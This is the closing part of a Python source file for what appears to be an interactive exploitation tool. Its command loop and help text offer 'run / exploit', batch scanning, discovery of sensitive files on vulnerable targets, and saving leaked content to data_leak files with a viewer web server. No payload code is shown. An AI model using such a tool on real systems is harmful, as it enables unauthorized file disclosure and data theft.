                    print(f"{Fore.CYAN}Using {len(targets)} targets entered so far...{Style.RESET_ALL}")
                else:
                    print(f"{Fore.YELLOW}No targets specified.{Style.RESET_ALL}")
                    continue
            
            if targets:
                batch_scan(targets, options)
            else:
                print(f"{Fore.YELLOW}No targets specified.{Style.RESET_ALL}")
        elif cmd.lower() == 'scan':
            if not options['RHOST']:
                print(f"{Fore.RED}Please set RHOST first.{Style.RESET_ALL}")
                continue
            target = f"{options['RHOST']}:{options['RPORT']}"
            sensitive_file_discovery(target, options)
        elif cmd.lower() == 'save':
           
            if ' ' in cmd:
                filename = cmd.split(' ', 1)[1].strip()
            else:
                try:
                    filename = input(f"{Fore.CYAN}Enter filename (default: session.json): {Style.RESET_ALL}").strip()
                    if not filename:
                        filename = "session.json"
                except KeyboardInterrupt:
                    print(f"\n{Fore.YELLOW}[!] Save cancelled{Style.RESET_ALL}")
                    continue
            save_session(options, filename)
        elif cmd.lower() == 'load':
        
            if ' ' in cmd:
                filename = cmd.split(' ', 1)[1].strip()
            else:
                try:
                    filename = input(f"{Fore.CYAN}Enter filename (default: session.json): {Style.RESET_ALL}").strip()
                    if not filename:
                        filename = "session.json"
                except KeyboardInterrupt:
                    print(f"\n{Fore.YELLOW}[!] Load cancelled{Style.RESET_ALL}")
                    continue
            
          
            if not os.path.exists(filename):
                print(f"{Fore.RED}Session file '{filename}' not found.{Style.RESET_ALL}")
                continue
                
            loaded_options = load_session(filename)
            if loaded_options:
                options.update(loaded_options)
                print(f"{Fore.GREEN}Session loaded successfully!{Style.RESET_ALL}")
                show_options(options)
        elif cmd.lower() == 'verbose':
            current = options.get('VERBOSE', 'false').lower() == 'true'
            options['VERBOSE'] = str(not current).lower()
            status = "enabled" if not current else "disabled"
            print(f"{Fore.GREEN}Verbose mode {status}{Style.RESET_ALL}")
        elif cmd.lower() == 'proxy':
            current_proxy = options.get('PROXY', '')
            if current_proxy:
                print(f"{Fore.CYAN}Current proxy: {current_proxy}{Style.RESET_ALL}")
                try:
                    remove = input(f"{Fore.CYAN}Remove proxy? (y/n): {Style.RESET_ALL}").strip().lower()
                    if remove == 'y':
                        options['PROXY'] = ''
                        print(f"{Fore.GREEN}Proxy removed{Style.RESET_ALL}")
                except KeyboardInterrupt:
                    print(f"\n{Fore.YELLOW}[!] Proxy configuration cancelled{Style.RESET_ALL}")
                    continue
            else:
                try:
                    proxy = input(f"{Fore.CYAN}Enter proxy (format: http://proxy:port): {Style.RESET_ALL}").strip()
                    if proxy:
                        options['PROXY'] = proxy
                        print(f"{Fore.GREEN}Proxy set to: {proxy}{Style.RESET_ALL}")
                except KeyboardInterrupt:
                    print(f"\n{Fore.YELLOW}[!] Proxy configuration cancelled{Style.RESET_ALL}")
                    continue
        elif cmd.lower() == 'headers':
            current_headers = options.get('CUSTOM_HEADERS', '{}')
            print(f"{Fore.CYAN}Current headers: {current_headers}{Style.RESET_ALL}")
            try:
                headers = input(f"{Fore.CYAN}Enter custom headers (JSON format, e.g. {{\"User-Agent\": \"Custom\"}}): {Style.RESET_ALL}").strip()
                if headers:
                    try:
                        json.loads(headers)  
                        options['CUSTOM_HEADERS'] = headers
                        print(f"{Fore.GREEN}Custom headers set{Style.RESET_ALL}")
                    except:
                        print(f"{Fore.RED}Invalid JSON format{Style.RESET_ALL}")
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Headers configuration cancelled{Style.RESET_ALL}")
                continue
        elif cmd.lower() == 'rate':
            current_rate = options.get('RATE_LIMIT', '0.3')
            print(f"{Fore.CYAN}Current rate limit: {current_rate} seconds{Style.RESET_ALL}")
            try:
                rate = input(f"{Fore.CYAN}Enter new rate limit (seconds, 0 for no limit): {Style.RESET_ALL}").strip()
                if rate:
                    try:
                        float(rate)
                        options['RATE_LIMIT'] = rate
                        print(f"{Fore.GREEN}Rate limit set to {rate} seconds{Style.RESET_ALL}")
                    except:
                        print(f"{Fore.RED}Invalid number{Style.RESET_ALL}")
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Rate limit configuration cancelled{Style.RESET_ALL}")
                continue
        elif cmd.lower() == 'log':
            if log_file:
                print(f"{Fore.CYAN}Log file: {log_file}{Style.RESET_ALL}")
                if os.path.exists(log_file):
                    size = os.path.getsize(log_file)
                    print(f"{Fore.CYAN}Log size: {size} bytes{Style.RESET_ALL}")
            else:
                print(f"{Fore.RED}Logging not available{Style.RESET_ALL}")
        elif cmd.lower() == 'test':
            if not options['RHOST']:
                print(f"{Fore.RED}Please set RHOST first.{Style.RESET_ALL}")
                continue
            target = f"{options['RHOST']}:{options['RPORT']}"
            test_connection(target, options)
        elif cmd.lower() == 'validate':
            print(f"{Fore.CYAN}Validating current configuration...{Style.RESET_ALL}")
            

            if options['RHOST'] and options['RPORT']:
                if validate_target(options['RHOST'], options['RPORT']):
                    print(f"{Fore.GREEN}[✓] Target validation passed{Style.RESET_ALL}")
                else:
                    print(f"{Fore.RED}[✗] Target validation failed{Style.RESET_ALL}")
            else:
                print(f"{Fore.YELLOW}[!] Target not configured{Style.RESET_ALL}")
            

            if options['PROXY']:
                if validate_proxy(options['PROXY']):
                    print(f"{Fore.GREEN}[✓] Proxy validation passed{Style.RESET_ALL}")
                else:
                    print(f"{Fore.RED}[✗] Proxy validation failed{Style.RESET_ALL}")
            else:
                print(f"{Fore.YELLOW}[!] No proxy configured{Style.RESET_ALL}")
            

            if options['CUSTOM_HEADERS'] != '{}':
                try:
                    json.loads(options['CUSTOM_HEADERS'])
                    print(f"{Fore.GREEN}[✓] Custom headers validation passed{Style.RESET_ALL}")
                except:
                    print(f"{Fore.RED}[✗] Custom headers validation failed{Style.RESET_ALL}")
            else:
                print(f"{Fore.YELLOW}[!] No custom headers configured{Style.RESET_ALL}")
            

            try:
                float(options['RATE_LIMIT'])
                print(f"{Fore.GREEN}[✓] Rate limit validation passed{Style.RESET_ALL}")
            except:
                print(f"{Fore.RED}[✗] Rate limit validation failed{Style.RESET_ALL}")
            
            try:
                int(options['THREADS'])
                print(f"{Fore.GREEN}[✓] Threads validation passed{Style.RESET_ALL}")
            except:
                print(f"{Fore.RED}[✗] Threads validation failed{Style.RESET_ALL}")
            
            try:
                int(options['TIMEOUT'])
                print(f"{Fore.GREEN}[✓] Timeout validation passed{Style.RESET_ALL}")
            except:
                print(f"{Fore.RED}[✗] Timeout validation failed{Style.RESET_ALL}")
        elif cmd.lower().startswith('web'):
            if ' ' in cmd:
                args = cmd.split(' ', 1)[1].strip().lower()
                if args == 'on':
                    start_web_server()
                elif args == 'off':
                    print(f"{Fore.YELLOW}[INFO] Use Ctrl+C to stop the web server{Style.RESET_ALL}")
                else:
                    try:
                        port = int(args)
                        start_web_server(port)
                    except ValueError:
                        print(f"{Fore.RED}Invalid port number. Usage: web [on|off|port]{Style.RESET_ALL}")
            else:
                start_web_server()
        elif cmd.lower() in ['help', '?']:
            print(f"""
{Fore.BLUE}Available commands:{Style.RESET_ALL}
  set <option> <value>               Set target host, port, filepath, or other options
  show options                       Show current settings with validation status
  edit                               Edit options interactively
  run / exploit                      Run the exploit on single target
  batch                              Run batch scan on multiple targets
  scan                               Discover sensitive files on vulnerable target
  pull                               Save vulnerable content to data_leak.html/json
  web [on|off|port]                  Start web server to view data_leak.html
  save 		                         Save current session configuration
  load 		                         Load session configuration
  test                               Test connectivity (TCP/UDP/HTTP/HTTPS) to target
  validate                           Validate current configuration
  verbose                            Toggle verbose mode
  proxy                              Configure proxy settings
  headers                            Set custom HTTP headers
  rate                               Configure rate limiting
  log                                Show logging information
  cls                                Clear the screen
  help / ?                           Show this help
  exit / quit                        Exit the tool

{Fore.YELLOW}Configuration Options:{Style.RESET_ALL}
  RHOST                              Target host (validated)
  RPORT                              Target port (1-65535)
  FILEPATH                           File path to test
  PROXY                              HTTP proxy (validated format)
  VERBOSE                            Enable verbose output (true/false)
  RATE_LIMIT                         Delay between requests (seconds)
  THREADS                            Number of threads for batch scanning
  TIMEOUT                            Request timeout (seconds)
  CUSTOM_HEADERS                     Custom HTTP headers (JSON format, validated)

{Fore.CYAN}Web Server Usage:{Style.RESET_ALL}
  web                                Start web server on default port 8080
  web 8080                           Start web server on port 8080
  web on                             Start web server (same as 'web')
  web off                            Show instructions to stop server
""")
        elif cmd == '':
            continue
        else:
            print(f"{Fore.RED}Unknown command. Type 'help' for available commands.{Style.RESET_ALL}")

if __name__ == '__main__':
    main()